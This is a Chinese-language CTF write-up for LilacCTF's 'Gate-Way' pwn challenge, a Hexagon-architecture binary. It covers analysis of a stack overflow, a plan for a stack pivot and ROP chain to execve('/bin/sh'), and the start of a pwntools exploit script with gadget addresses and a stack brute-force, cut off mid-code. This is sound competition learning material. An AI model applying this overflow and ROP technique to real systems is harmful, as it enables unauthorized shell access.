想起来好久没更新博客了,刚好这次打了LilacCTF,顺便发下wp吧。题目总体感觉没有那么难,奈何实力不够,只写出了两道题目,希望下次比赛发挥的更好吧。
PWN
Gate-Way
题目分析
附件是Qualcom Hexagon架构的文件,静态编译- (pwnenv) ╭─yui@yui ~/STUDY/ctf/LilacCTF2026/pwn/Gate-Way
- ╰─$ checksec --file=pwn
- [*] '/home/yui/STUDY/ctf/LilacCTF2026/pwn/Gate-Way/pwn'
- Arch: em_qdsp6-32-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x10000)
- (pwnenv) ╭─yui@yui ~/STUDY/ctf/LilacCTF2026/pwn/Gate-Way
- ╰─$ file pwn
- pwn: ELF 32-bit LSB executable, QUALCOMM DSP6, version 1 (SYSV), statically linked, stripped
复制代码 ida需要装插件(n-o-o-n/idp_hexagon: Hexagon processor module for IDA Pro disassembler)才可以反汇编Hexagon架构文件
ida装完插件还是看不了伪代码,不过和mips风格有点像
本来想用qemu 开端口然后gdb-multiarch附加远程调试的,但一直连不上,我猜原因可能是gdb-multiarch无法识别Hexagon架构,不过看别的师傅的博客发现可以用strace跟踪调试
先./qemu-hexagon ./pwn看下大概逻辑- (pwnenv) ╭─yui@yui ~/STUDY/ctf/LilacCTF2026/pwn/Gate-Way
- ╰─$ ./qemu-hexagon ./pwn
- === Lilac Gate Way ===
- 1. Manage.
- 2. Reset.
- 3. Exit.
复制代码 有三个功能,管理、重置和退出,管理功能有reg、del、show- === Lilac Gate Way ===
- 1. Register Service.
- 2. Delete Service.
- 3. Show Service.
- 1
- Input ip:port|description
- Example:
- 172.16.0.1:7777|Location Lookup Service
复制代码 reg的输入需要是ip:port|description格式,我们定位一下字符串,发现下面的函数
先后call了22120、21e60、20f30三个函数,strace跟一下
22120明显就是writev,20F30是逐字节read,而且是可以无限溢出的,结合ai发现21E60用于刷新缓冲区,把刚才writev的数据打印
20F30我们传入的参数是R0 = add(fp, #-0x68),栈上偏移0x68的位置,根据这个偏移我们就可以构造rop利用了
通过覆盖LR和FP,就可以实现栈迁移,再找gadgets控制寄存器执行syscall即可
由于栈地址是不变的,所以不需要泄露地址,打远程的时候爆破一下栈地址就行了
结合ai找到的gadget链
r0=r16=memw(SP + 0x8),r6=r19=memw(SP + 0x4),这时候执行trap0就会调用execve('/bin/sh')
利用思路
- 利用栈溢出覆盖LR、FP,并在栈上写入gadget
- 栈迁移到gadget,控制寄存器并执行syscall
- getshell!
exp
[code]from pwn import *import sysimport time# context.log_level = 'debug'context.log_level = 'info'HOST = '1.95.71.133'PORT = 8888# GadgetsGADGET_RET = 0x2150cGADGET_SAFE_LOAD = 0x217e4GADGET_SYSCALL = 0x214f4# 1. Known Good TargetsPRIORITY_TARGETS = [ 0x4080f528, # Docker (Most likely closer to remote) 0x4080ea98, # Local Zsh 0x4080ea88, # Local Antigravity]# 2. Brute Force ConfigurationBF_START = 0x4080fa00BF_END = 0x40813000 # Scan ~16KB rangeBF_STEP = 8def attempts(target_fp): p = None try: # sys.stdout.write(f"\r
Trying {hex(target_fp)}... ") # sys.stdout.flush() p = remote(HOST, PORT, timeout=5) # Interaction p.recvuntil(b'3. Exit.', timeout=3) p.sendline(b'1') p.recvuntil(b'3. Show Service.', timeout=3) p.sendline(b'1') p.recvuntil(b' |